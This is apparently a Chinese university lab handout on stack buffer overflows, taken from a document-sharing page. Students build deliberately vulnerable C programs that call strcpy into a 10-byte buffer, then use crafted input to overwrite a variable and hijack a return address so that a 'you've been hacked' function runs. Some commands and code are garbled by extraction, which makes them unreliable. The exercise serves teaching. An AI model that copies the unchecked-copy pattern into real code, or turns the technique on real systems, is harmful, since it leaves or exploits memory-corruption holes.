网络安全实验二_第1页
网络安全实验二_第2页
网络安全实验二_第3页
网络安全实验二_第4页
免费预览已结束,剩余4页可下载查看

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

1、.实验二栈溢出实验【实验内容】利用栈溢出修改变量值利用栈溢出修改函数返回地址,运行恶意代码【实验类型】验证型实验【实验学时】 3 学时【实验原理】如果向栈上声明的缓冲区中复制数据,但是复制到数据量又比缓冲区大的时候,就会发生栈溢出。在栈上声明的各种变量的位置紧临函数调用程序的返回地址。 若用户输入的数据未经验证就传递给 strcpy 这样的函数, 则会导致变量值被攻击者指定的值所改写或调用函数的返回地址将被攻击者选择的地址所覆盖,打乱程序正常运行流程,转而执行恶意代码。防范栈溢出的有效方法有: 禁止栈执行, 从而阻止攻击者植入恶意代码; 编写安全可靠的代码,始终对输入的内容进行验证;利用编译器

2、的边界检查实现栈保护。【实验环境】Linux 实验台 (CentOS)gcc 和 gdb 工具【实验步骤】打开 Linux 实验台,输入用户名和口令,进入系统。一、 修改变量值(1)新建 stackover1.c文件: touchstackover1.c ;(2)编辑 stackover1.c文件: vimstackover1.c ,按 i 键进如编辑模式, 输入示例程序1,按 Esc 键退出编辑模式,进入命令行,输入 :wq 保存并退出文件编辑,上述过程如图和图所示;1 / 8.(3) 查看编辑结果:catstackover1.c ,如图所示;(4) 生成可执行文件:gccstackover

3、1.costackover1 ;(5) 运行执行文件: ./ stackover1 ABCDE,执行结果如图3.5.3-10 所示;2 / 8.从结果中可以看出,x 的值为程序中的设定值10;(6) 在内存中 x 紧邻 buf ,所以输入11 个字符制造栈缓冲区溢出,以修改x 所在地址空间的值: ./ stackover1 ABCDEFGHIJK,运行结果如图所示;x 的值为 75,对应 K 的 ASCII 码, x 的值发生改变;(7) 利用 perl 命令输入适当的字符串,将 x 的值修改为任意指定的值,如修改为 30,十六进制为 0x1e:./ stackover1 perle prin

4、t“A”x1e0”.,“运行结果如图所示;x 的值为 30,修改成功。示例程序 1 :#include <stdio.h>#include <string.h>void function(char * str)char buf10;int x=10;strcpy(buf,str);printf("x=%dn",x);int main(int argc,char * argv)function(argv1);return 0;二、 修改函数返回地址,运行恶意代码(1) 参照上述步骤, 新建 stackover2.c 文件,输入示例程序 2,生成可执行文

5、件 stackover2;(2) 运行可执行文件并查看结果:./ stackover2 AAAAA ,结果如图所示;3 / 8.从结果中可以看出程序运行的栈情况,foo 函数的返回地址位于第7 个位置上, bar的函数入口地址为0x08048421 ;(3) 随意输入多个字符制造栈溢出:./ stackover2 perl e print“,A”行运x25结果如图所示;(4) 构造输入字符串,将第7 个位置修改为bar 函数入口地址,即修改foo 函数的返回地址为 bar 函数的入口地址,以修改程序运行流程:./ stackover2 perl e print “ A” x14 . “ x08

6、 ”,运行结果如图所示;4 / 8.bar 函数运行,打印出“Hi!You ve been hacked!”,攻击成功。通常我们无法获取函数的地址和程序运行时栈的情况, 需要通过反编译来查看变量地址或函数的入口地址,通过深入理解程序运行时的内存分配来计算函数返回地址在内存中的位置,以便达到修改程序运行流程、执行恶意代码的目的示例程序 2#include <stdio.h>#include <string.h>void foo(const char *input)char buf10;printf("My stack looks like:n%p n%p n%p

7、 n%p n%p n%p n%p n%p n n"); strcpy(buf,input);printf("%sn",buf);printf("Now the stack looks like:n%p n%p n%p n%p n%p n%p n%p n%p n n");void bar(void)printf("Hi!You've been hacked!n");int main(int argc,char *argv)printf("Address of foo=%p n",foo);print

8、f("Address of bar=%p n",bar);foo(argv1);return 0;【实验思考】尝试分析并画出上述程序的栈结构,可借助gdb 命令;尝试在 Windows 环境下进行上述实验,并分析与Linux 环境下的异同;根据程序运行时的内存分配原理计算函数的返回地址;以示例程序3 为例,通过计算快速实现 nevercalled 函数的运行。示例程序 3#include <stdio.h>#include <string.h>void nevercalled()printf("never calledn");exit(0);void functioncalled(char *

温馨提示

  • 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
  • 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
  • 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
  • 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
  • 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
  • 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
  • 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。

评论

0/150

提交评论